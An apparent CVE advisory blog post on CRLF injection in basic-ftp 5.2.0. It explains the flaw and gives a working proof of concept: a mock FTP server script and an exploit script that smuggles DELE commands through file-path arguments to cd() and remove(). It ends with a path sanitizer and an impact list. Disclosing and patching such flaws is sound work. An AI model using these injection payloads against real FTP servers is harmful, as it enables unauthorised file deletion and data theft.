Listen to this Post
How the CVE works (CRLF injection in [email protected]):
The vulnerability arises because `protectWhitespace()` only trims leading spaces but leaves `\r` and `\n` unchanged. When a malicious file path contains \r\n, the `send()` method appends another `\r\n` and writes the whole string directly to the FTP control socket. This allows an attacker to split a single FTP command (e.g., CWD) into multiple commands. For example, the path `”harmless.txt\r\nDELE /important-file.txt”` becomes CWD harmless.txt\r\nDELE /important-file.txt\r\n. The FTP server sees `CWD harmless.txt` followed by `DELE /important-file.txt` as separate commands. All high‑level APIs (cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), removeDir()) pass unsanitized user input through this flawed chain. The library does not reject or escape CRLF sequences, enabling injection of arbitrary FTP commands like DELE, RETR, MKD, RMD, USER, PASS, QUIT, or even `SITE EXEC` if the server supports it. No authentication bypass is needed – the attacker only needs to control a path parameter. The CVSS score is 8.6 (High) with network attack vector, low complexity, no privileges, and no user interaction.
dailycve form:
Platform: basic-ftp npm
Version: 5.2.0
Vulnerability: CRLF Injection
Severity: High (8.6)
date: 2026-04-04
Prediction: No patch yet
Analytics
What Undercode Say:
Install vulnerable version npm init -y && npm install [email protected] Mock FTP server (save as ftp-server-mock.js) cat > ftp-server-mock.js << 'EOF' const net = require('net'); const server = net.createServer(conn => { conn.write('220 Mock FTP\r\n'); let buffer = ''; conn.on('data', data => { buffer += data.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('[bash]', JSON.stringify(line)); if (line.startsWith('USER')) conn.write('331 OK\r\n'); else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n'); else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n'); else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); } else conn.write('200 OK\r\n'); } }); }); server.listen(2121, () => console.log('Mock FTP on 2121')); EOF Exploit script (save as poc.js) cat > poc.js << 'EOF' const ftp = require('basic-ftp'); (async () => { const client = new ftp.Client(); await client.access({ host: '127.0.0.1', port: 2121, user: 'anon', password: 'anon' }); await client.cd("harmless.txt\r\nDELE /secret.txt"); await client.remove("decoy.txt\r\nDELE /data.txt"); client.close(); })(); EOF Run mock server and exploit node ftp-server-mock.js & Terminal 1 node poc.js Terminal 2
how Exploit:
- Control any file path parameter (e.g., user‑supplied filename).
- Insert `\r\n` followed by an arbitrary FTP command.
- Call any affected method (
cd(),remove(),rename(), etc.).
4. Observe injected command executed on FTP server.
Protection from this CVE
function sanitizeFtpPath(path) {
if (/[\r\n\0]/.test(path)) throw new Error('Invalid path');
return path;
}
// Before each call:
await client.cd(sanitizeFtpPath(userInput));
Or upgrade library when fixed (none yet). Also configure FTP server to reject dangerous commands.
Impact
Arbitrary file deletion, directory manipulation, file exfiltration, session hijacking (inject USER/PASS), server command execution (SITE EXEC), and service disruption (QUIT). Confidentiality low, integrity high, availability low per CVSS.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

